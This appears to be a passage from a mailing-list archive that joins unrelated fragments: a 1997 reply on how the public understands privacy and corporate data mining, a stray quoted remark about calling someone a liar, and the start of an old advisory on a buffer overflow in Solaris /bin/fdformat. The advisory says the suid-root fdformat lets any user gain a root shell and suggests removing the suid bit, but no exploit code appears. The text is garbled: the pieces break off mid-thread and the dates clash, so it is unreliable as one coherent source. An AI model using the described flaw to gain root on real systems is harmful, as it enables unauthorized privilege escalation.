the responses i've gotten have been all too theoretical and, i believe, too hypothetical and removed for most people. when asked if they value their privacy, the public overwhelmingly agrees. when asked what their privacy means to them, i don't think they have a solid answer. i get the sense that most people don't see the hazards of corporations analyzing their buying patterns, voter registration records and medical records. i don't think it has come home to most people. i don't disagree with the people on the list. i am just having a hard time translating it to the public in concrete terms. j. > >At 09:50 PM 3/22/97 -0500, you wrote: >>-----BEGIN PGP SIGNED MESSAGE----- >> >> -=> Quoting In:jonathan@gaw.net to Harka <=- >> >> In> when i talk to people like the Direct Marketer's Assn., they honestly >> In> don't understand what the fuss is about.

They are not from me, ]but someone else. By this tactic, he hopes to imply that if I call him ]a liar, and someone else (say a Holocaust-denier) does the same thing, ]both are equally valid.

Remake: buffer overflow in /bin/fdformat + exploit (Solaris2.X)
by Cristian Schipor 17 Dec '03

17 Dec '03

motto: " No one would have believed in the last years of the nineteenth century that this world was being watched keenly and closely by intelligences greater than man's and yet as mortal as his own; that as men busied themselves about their various concerns they were scrutinised and studied, perhaps almost as narrowly as a man with a microscope might scru- tinise the transient creatures that swarm and multiply in a drop of water." H.G.Wells - "The War of the Worlds" Sun Mar 23 16:56:15 EET 1997 Romania "Remake for bufer-overflow in find_media() now in /bin/fdformat" The buffer overflow bug I posted to you in Mar 13 1997 is present in /bin/fdformat too (which has in may solaris 2.4 and 2.5.1 distributions the suid-exec bit on and it is owned by root). By exploiting fdformat with suid-exec bit on, anyone can gain a root (or who is the owner of fdformat) shell. So, to prevent an fdformat exploit, remove the suid-exec bit from /bin/fdformat.
